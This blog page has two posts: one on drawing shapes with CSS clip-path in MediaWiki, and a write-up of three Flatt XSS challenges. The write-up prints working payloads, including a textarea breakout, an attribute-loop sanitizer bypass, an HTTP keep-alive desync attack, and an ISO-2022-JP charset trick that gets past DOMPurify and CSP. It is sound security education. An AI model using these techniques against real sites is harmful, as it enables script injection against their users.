Tuesday, December 31, 2024

Drawing with CSS in MediaWiki

One thing you aren't allowed to do when writing pages in MediaWiki, is use SVG elements.

You can include SVG files, but you can't dynamically draw something based on the contents of the page.

There are two schools of thought on adding features to MediaWiki page formatting.

Some people think we should give low level tools and let the users figure it out. An example (in my opinion) of this is Scribunto (Lua support). This let editors create small scripts in the lua programming language as macros. Its fairly low level - learning to program is complicated. However it gave users ultimate flexibility and only a few users need to learn how to make lua scripts. The other users could just use them without understanding how they work.

The other school of thought is to give users high level tools. For example, the upcoming Charts extension or the older easytimeline extension. This gives the users some flexibility, but many of the details are hidden. The lack of flexibility sounds like a downside, but there are some benefits. Its easier to ensure everything is consistent when its managed by the system instead of the user. Its easier to ensure everything meets performance requirements, accessibility requirements, etc. Its easier to ensure there is alternative content where the rich content can't be supported (e.g. perhaps in some app).

I tend to lean towards the former, as I think the extra flexibility spurns creativity. Users will take the tools and use them in ways you never imagined, which I think is a good thing (not to mention more scalable), but I understand where the other side is coming from.

One of the limitations of MediaWiki, is a template author can't really draw things dynamically. Sure they can use uploaded images and fancy HTML, but they can't use true server-side dynamically generated graphics because SVG elements aren't allowed in wikitext. Sometimes people use quite ingenious html hacks to get around this - e.g. {{Pie chart}} uses CSS borders to make pie graphs. For the most part though this niche is filled with high level extensions like the former Graph extension or the upcoming Charts extension, which let users insert a graph based on some specification. This is great if the graph the extension generates is what the user needs, but what if their requirements differ slightly?

Personally I think we should just do both - let users have at it with SVG, while also providing the fancier high level extensions. See what they like best. (Some people argue against embedded svg on security grounds, but its really no different than HTML. You just need to whitelist safe elements/attributes and not allow risky stuff).

Modern CSS

Recently though, I realized that CSS has advanced a lot, and you don't really need SVG to do drawings. You can do it in pure CSS.

CSS has a property called "clip-path". This allows specifying a clipping path in SVG path syntax. Only the parts inside the path show through.

SVG path syntax is essentially how to tell the computer, go to this point, draw a line to this point, from there make a curve to some other point, and so on and so forth. Essentially instructing the computer how to draw a picture.

This allows drawing a lot of stuff you would normally need SVG for. To be sure, there are a lot of other things SVGs do, but at its core, this is the main drawing part.

Here is an example of a smiley face and the word Example in fancy writing (Taken from [[File:Example.svg]]) in pure css

In fact, i made a start on an implementation of the canvas API in lua using this as the output mode: https://en.wikipedia.org/wiki/Module:Sandbox/Bawolff/canvas

Limitations

A big limitation is lack of stroking. The clip-path thing works great for filling regions, but it doesn't work for stroking paths.

When drawing - to stroke means to draw an outline, where to fill means you draw a shape and fill everything inside of it.

This doesn't seem insurmountable though. Most actual rasterization software works by flattening curved paths to lines, we could do the same thing in Lua, although it might not be the most efficient solution in terms of outputted markup.

Much of the time, I was actually surprised how much of the Canvas spec has CSS equivalents. Even obscure stuff - what interpolation do you want for rendered images? CSS has image-rendering property for that.

There are some things with no equivalent. We can't do anything that depends on client side, can't get font metrics, can't get the pixel data of an image, etc. Centering text the way canvas does it actually seems kind of hard. Composition operators are mostly not supported. Blending operators can be, but won't work properly with images. A bunch of other small things aren't supported, mostly involving more complex aspects of text layout.

On the whole though, I'm shocked at how far I got and how much of the stuff I don't have yet seems like a simple matter of programming.

There is also the possibility of limited interactivity with this, using :hover CSS and CSS animations (although transitioning paths probably doesn't work great, it seems possible in theory). Possibly even combined with {{calculator}} to allow limited interaction via form controls.

Try out [[Module:Sandbox/Bawolff/canvas]] if you are curious.

Sunday, December 1, 2024

Writeup for the flatt XSS challenge

This November, the company Flatt put out three XSS challenges - https://challenge-xss.quiz.flatt.training/ ( source code at https://github.com/flatt-jp/flatt-xss-challenges )

These were quite challenging and I had a good time solving them. The code for all of my solutions is at http://bawolff.net/flatt-xss-challenge.htm. Here is how I solved them.

Challenge 1 (hamayan)

This was in my opinion, the easiest challenge.

The setup is as follows - We can submit a message. On the server side we have:

  const sanitized = DOMPurify.sanitize(message);
  res.view("/index.ejs", { sanitized: sanitized });

with the following template:

    <p class="message"><%- sanitized %></b></p>
    <form method="get" action="">
        <textarea name="message"><%- sanitized %></textarea>
        <p>
            <input type="submit" value="View 👀" formaction="/" />
        </p>
    </form>

As you can see, the message is sanitized and then used in two places - in normal HTML but also inside a <textarea>.

The <textarea> tag is not a normal HTML tag. It has a "text" content model. This means that HTML inside it is not interpreted and the normal HTML rules don't apply

Consider the following HTML as our message: <div title="</textarea><img src=x onerror=alert(origin)>">

In a normal html context, this is fairly innocous. It is a div with a title attribute. The title attribute looks like html, but it is just a title attribute.

However, if we put it inside a <textarea>, it gets interpreted totally differently. There are no elements inside a textarea, so there are no attribtues. The </textarea> thus closes the textarea tag instead of being a harmless attribute:

<textarea><div title="</textarea><img src=x onerror=alert(origin)>">

Thus, once the textarea tag gets closed, the <img> tag is free to execute.

https://challenge-hamayan.quiz.flatt.training/?message=%3Cdiv%20title=%22%3C/textarea%3E%3Cimg%20src=x%20onerror=alert(origin)%3E%22%3E

Challenge 2 (Ryotak)

This challenge was probably the hardest for me.

The client-side setup

We have a website. You can enter some HTML and save it. Once saved, you are given an id number in the url, the HTML is fetched from the server, it is sanitized and then set to the innerHTML of a div.

The client-side sanitization is as follows:

        const SANITIZER_CONFIG = {
            DANGEROUS_TAGS: [
                'script',
                'iframe',
                'style',
                'object',
                'embed',
                'meta',
                'link',
                'base',
                'frame',
                'frameset',
                'svg',
                'math',
                'template',
            ],

            ALLOW_ATTRIBUTES: false
        }

        function sanitizeHtml(html) {
            const doc = new DOMParser().parseFromString(html, "text/html");
            const nodeIterator = doc.createNodeIterator(doc, NodeFilter.SHOW_ELEMENT);

            while (nodeIterator.nextNode()) {
                const currentNode = nodeIterator.referenceNode;
                if (typeof currentNode.nodeName !== "string" || !(currentNode.attributes instanceof NamedNodeMap) || typeof currentNode.remove !== "function" || typeof currentNode.removeAttribute !== "function") {
                    console.warn("DOM Clobbering detected!");
                    return "";
                }
                if (SANITIZER_CONFIG.DANGEROUS_TAGS.includes(currentNode.nodeName.toLowerCase())) {
                    currentNode.remove();
                } else if (!SANITIZER_CONFIG.ALLOW_ATTRIBUTES && currentNode.attributes) {
                    for (const attribute of currentNode.attributes) {
                        currentNode.removeAttribute(attribute.name);
                    }
                }
            }

            return doc.body.innerHTML;
        }

If that wasn't bad enough, there is also server-side sanitization, which I'll get to in a bit.

Client side bypass

This looks pretty bad. It disallows all attributes. It disallows <script> which you more or less need to anything interesting if you don't have event attributes. It disallows <math> and <svg> which most mXSS attacks rely on.

However there is a mistake:

        for (const attribute of currentNode.attributes) {
              currentNode.removeAttribute(attribute.name);
        }

Which should be:

        for (const attribute of Array.from(currentNode.attributes)) {
              currentNode.removeAttribute(attribute.name);
        } 

The attributes property is a NamedNodeMap. This is a live class that is connected to the DOM. This means that if you remove the first attribute, it is instantly deleted from this list, with the second attribute becoming the first, and so on.

This is problematic if you modifythe attributes while iterating through them in a loop. If you remove an attribute in the first iteration, the second attribute then becomes the first. The next iteration then goes to the current second attribute (previously the third). As a result, what was originally the second attribute gets skipped.

In essence, the code only removes odd attributes. Thus <video/x/onloadstart=alert(origin)><source> will have only the x removed, and continue to trigger the XSS.

For reasons that will be explained later, it is important that our exploit does not have any whitespace in it. An alternative exploit might be <img/x/src/y/onerror=alert(origin)>

The server-side part

That's all well and good, but the really tricky part of this challenge is the server side part.

        elif path == "/api/drafts":
            draft_id = query.get('id', [''])[0]
            if draft_id in drafts:
                escaped = html.escape(drafts[draft_id])
                self.send_response(200)
                self.send_data(self.content_type_text, bytes(escaped, 'utf-8'))
            else:
                self.send_response(200)
                self.send_data(self.content_type_text, b'')
        else:
            self.send_response(404)
            self.send_data(self.content_type_text, bytes('Path %s not found' % self.path, 'utf-8'))

As you can see, the server side component HTML-escapes its input.

This looks pretty impossible. How can you have XSS without < or >?

My first thought was maybe something to do with charset shenanigans. However this turned out to be impossible since everything is explicitly labelled UTF-8 and the injected HTML is injected via innerHTML so takes the current document's charset.

I also noticed that we could put arbitrary text into the 404 error page. The error page is served as text/plain, so it would not normally be exploitable. However, the JS that loads the html snippet uses fetch() without checking the returned content type. I thought perhaps there would be some way to make it fetch the wrong page and use the 404 result as the html snippet.

My first thought was maybe there is a different in path handling between python urllib and WHATWG URL spec. There is in fact lots of differences, but none that seemed exploitable. There was also no way to inject a <base> tag or anything like that. Last of all, the fetch url starts with a /, so its always going to be relative just to the host and not the current path.

I was stuck here for quite a long time.

Eventually I looked at the rest of the script. There are some odd things about it. First of all, it is using python's BaseHTTPRequestHandler as the HTTP server. The docs for that say in giant letters: "Warning: http.server is not recommended for production. It only implements basic security checks.". Sounds promising.

I also couldn't help but notice that this challenge was unique compared to the others - it was the only one hosted on an IP address with just plain HTTP/1.1 and no TLS. The other two were under the .quiz.flatt.training domain, HTTP/2 and presumably behind some sort of load balancer.

All signs pointed to something being up with the HTTP implementation.

Poking around the BaseHTTPRequestHandler, I found the following in a code comment: "IT IS IMPORTANT TO ADHERE TO THE PROTOCOL FOR WRITING!". All caps, must be important.

Lets take another look at the challenge script. Here is the POST handler:

    def do_POST(self):
        content_length = int(self.headers.get('Content-Length'))
        if content_length > 100:
            self.send_response(413)
            self.send_data(self.content_type_text, b'Post is too large')
            return
        body = self.rfile.read(content_length)
        draft_id = str(uuid4())
        drafts[draft_id] = body.decode('utf-8')
        self.send_response(200)
        self.send_data(self.content_type_text, bytes(draft_id, 'utf-8'))

    def send_data(self, content_type, body):
        self.send_header('Content-Type', content_type)
        self.send_header('Connection', 'keep-alive')
        self.send_header('Content-Length', len(body))
        self.end_headers()
        self.wfile.write(body)


Admittedly, it took me several days to see this, but there is an HTTP protocol violation here.

The BaseHTTPRequestHandler class supports HTTP Keep-alive. This means that connections can be reused after the request is finished. This improves performance by not having to repeat a bunch of handshake steps for every request. The way this works is if the web server is willing to keep listening for more requests on a connection, it will set the Connection: Keep-Alive header. The challenge script always does this.

The problem happens during the case where a POST request has too large a body. The challenge script will return a 413 error if the POST request is too large. This is all fine and good. 413 is the correct error for such a situation. However it immediately returns after this, not reading the POST body at all, leaving it still in the connection buffer. Since the Connection: Keep-alive header is set, the python HTTP server class thinks the connection can be reused, and waits for more data. Since there is still data left in the connection buffer, it gets that data immediately, incorrectly assuming it is the start of a new request. (This type of issue is often called "client-side desync")

What the challenge script should do here is read Connection-Length number of bytes and discard them, removing them from the connection buffer, before handing the connection off to the base class to wait for the next request. Alternatively, it could set Connection: Close header, to signal that the connection can no longer be reused (This wouldn't be enough in and of itself, but the python base class looks for this). By responding without looking at the POST body, the challenge script desynchronizes the HTTP connection. The server thinks we are waiting on the next request, but the web browser is still in the middle of sending the current request.

To summarize, this means that if we send a large POST request, the web server will treat it as two separate requests instead of a single request.

We can use this to poision the connection. We send something that will be treated as two requests. When the browser sends its next request, the web server responds with part two of our first request, thus causing the web browser to think the answer to its second request is the answer to part two of of the first request.

The steps of our attack would be as follows:

  • Open a window to http://34.171.202.118/?draft_id=4ee2f502-e792-49ae-9d15-21d7fffbeb63 (The specific draft_id doesn't matter as long as its consistent). This will ensure that the page is in cache, as we don't want it to be fetched in the middle of our attack. Note that this page is sent with a Cache-Control: max-age=3600 header, while most other requests do not have this header.
  • Make a long POST request that has a POST body that looks something like GET <video/x/onloadstart=alert(origin)><source> HTTP/1.1\r\nhost:f\r\n;x-junk1: PADDING..  (This is why our payload cannot have whitespace, it would break the HTTP request which is whitespace delimited)
  •  Navigate to http://34.171.202.118/?draft_id=4ee2f502-e792-49ae-9d15-21d7fffbeb63. Because we preloaded this and it is cachable, it should already be in cache. The web browser will load it from disk not the network. The javascript on this page will fetch the document with that doc_id in the url via fetch(). This response does not have a caching header, so the web browser makes a new request on the network. Since half of the previous POST is still in the connection buffer, the webserver responds to that request instead of the one the browser just made. The result is a 404 page containing our payload. The web browser sees that response, and incorrectly assumes it is for the request it just made via fetch(). It is sent with a text/plain content type and 404 status code but the javascript does not care.

The only tricky part left is how to send a POST with such fine-grained control over the body.

HTML forms have a little known feature where they can be set to send in text/plain mode. This works perfect for us. Thus we have a form like:

<form method="POST" target="ryotak" enctype="text/plain" action="http://34.171.202.118/" id="ryotakform">
<input type="hidden"
name="GET <video/x/onloadstart=alert(origin)><source> HTTP/1.1&#xd;&#xa;host:f&#xd;&#xa;x-junk1: aaaaaaaaaaaaaaaaaaaaaa..." value="aa">
</form>

 The rest of the exploit looks like:

    window.open( 'http://34.171.202.118/?draft_id=4ee2f502-e792-49ae-9d15-21d7fffbeb63', 'ryotak' );
    setTimeout( function () {
        document.getElementById( 'ryotakform' ).submit();
        setTimeout( function () {
            window.open( 'http://34.171.202.118/?draft_id=4ee2f502-e792-49ae-9d15-21d7fffbeb63', 'ryotak' );
        }, 500 );
    }, 5000 );

 The timeouts are to ensure that the web browser had enough time to load the page before going to the next step.

You can try it out at http://bawolff.net/flatt-xss-challenge.htm

Challenge 3 (kinugawa)

Note: My solution works on Chrome but not Firefox.

The Setup 

  <meta charset="utf-8">
  <meta http-equiv="Content-Security-Policy"
    content="default-src 'none';script-src 'sha256-EojffqsgrDqc3mLbzy899xGTZN4StqzlstcSYu24doI=' cdnjs.cloudflare.com; style-src 'unsafe-inline'; frame-src blob:">

<iframe name="iframe" style="width: 80%;height:200px"></iframe>

[...]

      const sanitizedHtml = DOMPurify.sanitize(html, { ALLOWED_ATTR: [], ALLOW_ARIA_ATTR: false, ALLOW_DATA_ATTR: false });
      const blob = new Blob([sanitizedHtml], { "type": "text/html" });
      const blobURL = URL.createObjectURL(blob);
      input.value = sanitizedHtml;
      window.open(blobURL, "iframe");
 

We are given a page which takes some HTML, puts it through DOMPurify, turns it into a blob url then navigates an iframe to that blob.

Additionally there is a CSP policy limiting which scripts we can run.

The solution

The CSP policy is the easiest part. cdnjs.cloudflare.com is on the allow list which contains many js packages which are unsafe to use with CSP. We can use libraries like angular to bypass this restriction.

For the rest - we're obviously not going to find a 0-day in DOMPurify. If I did, I certainly would have lead the blog post with that.

However, since blob urls are separate documents, that means that they are parsed as a fresh HTML document. This includes charset detection (Since the mime type of the Blob is set to just text/html not text/html; charset=UTF-8). DOMPurify on the other hand is going to assume that the input byte stream does not need any character set related conversions.

So in principle, what we need to do here is create a polygot document. A document that is safe without any charset conversions applied, but becomes dangerous when interpreted under a non-standard character set. Additionally we then need to get the blob url interpreted as that character set.

There are a small number of character sets interpreted by web browsers. There used to be quite a lot of dangerous ones to chose from such as UTF-7 or hz. However most of these got removed and the only remaining charset that is easy to make dangerous is ISO-2022-JP.

The reason that ISO-2022-JP is so useful in exploits is that it is modal. It is actually 4 character sets in one, with a special code to change between them. If you write "^[$B" it switches to Japanese mode. "^[(B" on the other hand switches to ASCII mode. (^[ refers to ASCII character 0x1B, the escape character. You might also see it written as \x1B, %1B, ESC or \e). If we are already in the mode that the escape sequence switches to, then the character sequence does nothing and it is removed from the byte stream.

This means that <^[(B/style> will close a style tag when the document is in ISO-2022-JP mode, but is considered non-sense in UTF-8 mode.

Thus we might have a payload that looks like the following: (Remembering that ^[ stands for ascii ESC):

<style> <^[(B/style>
  <^[(Bscript src='https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js'><^[(B/script>
  <^[(Bscript src='https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js'>
  <^[(B/script>
  <^[(Bdiv ng-app ng-csp>
    {{$on.curry.call().alert($on.curry.call().origin)}}
  <^[(B/div>
</style>

DOMPurify won't see <^[(B/style> as a closing style tag and thinks the whole thing is the body of the style tag. To prevent mXSS, DOMPurify won't allow things that look like html tags (a "<" followed by a letter) inside <style> tags, so those are also broken up with ^[(B. A browser interpreting this as ISO-2022-JP would simply not see the "^[(B" sequences and treat it as normal HTML.

Now all we need to do is to convince the web browser that this page should be considered ISO-2022-JP.

The easiest way of doing that would be with a <meta charset="ISO-2022-JP"> tag. Unfortunately DOMPurify does not allow meta tags through. Even if it did, this challenge configures DOMPurify to ban all attributes. (We can't use the ^[(B trick here, because it only works after the document is already in ISO-2022-JP mode).

Normally we could use detection heuristics. In most browsers, if a document does not have a charset in its content type nor a meta tag, the web browser just makes a guess based on its textual content of the beginning of the document. If the browser sees a bunch of ^[ characters used in a way that would be valid in ISO-2022-JP and no characters that would be invalid in that encoding (such as multibyte UTF-8 characters), it knows that this document is likely ISO-2022-JP, so guesses that as the charset of the document.

However this detection method is used as a method of last resort. In the case of an iframe document (which does not have a better method such as charset in the mime type or meta tag), the browser will use the parent windows charset, instead of guessing based on document contents.

Since this parent document uses UTF-8, this stops us.

However, what if we didn't use an iframe?

The challenge navigates the iframe by using its name. What if there was another window with the same name? Could we get that window to be navigated instead of the iframe?

If we use window.open() to open the challenge in a window named "iframe", then the challenge would navigate itself instead of the iframe. The blob is now a top-level navigation, so cannot take its charset from the parent window. Instead the browser has no choice but to look at the document contents as a heuristic, which we can control.

The end result is something along the lines of:

window.open( 'https://challenge-kinugawa.quiz.flatt.training/?html=' +
   encodeURIComponent( "<div>Some random Japanese text to trigger the heuristic: \x1b$B%D%t%#%C%+%&$NM5J!$J2HDm$K@8$^$l!\"%i%$%W%D%#%RBg3X$NK!2J$K?J$`$b!\"%T%\"%K%9%H$r$a$6$7$F%U%j!<%I%j%R!&%t%#!<%/$K;U;v$9$k!#$7$+$7!\";X$N8N>c$K$h$j%T%\"%K%9%H$rCGG0!\":n6J2H$H$J$k!#%t%#!<%/$NL<$G%T%\"%K%9%H$N%/%i%i$H$NNx0&$H7k:'$O%7%e!<%^%s$NAO:n3hF0$KB?Bg$J1F6A$r5Z$\$7$?!#\x1b(Bend <style><\x1b(B/style><\x1b(Bscript src='https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js'><\x1b(B/script><\x1b(Bscript src='https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js'><\x1b(B/script><\x1b(Bdiv ng-app ng-csp>{{$on.curry.call().alert($on.curry.call().origin)}}<\x1b(B/div></style>begin\x1b$B%sE*8e\x1b(Bend</div>" ),
"iframe" );

Try it at http://bawolff.net/flatt-xss-challenge.htm

Conclusion

These were some great challenges. The last two especially took me a long time to solve.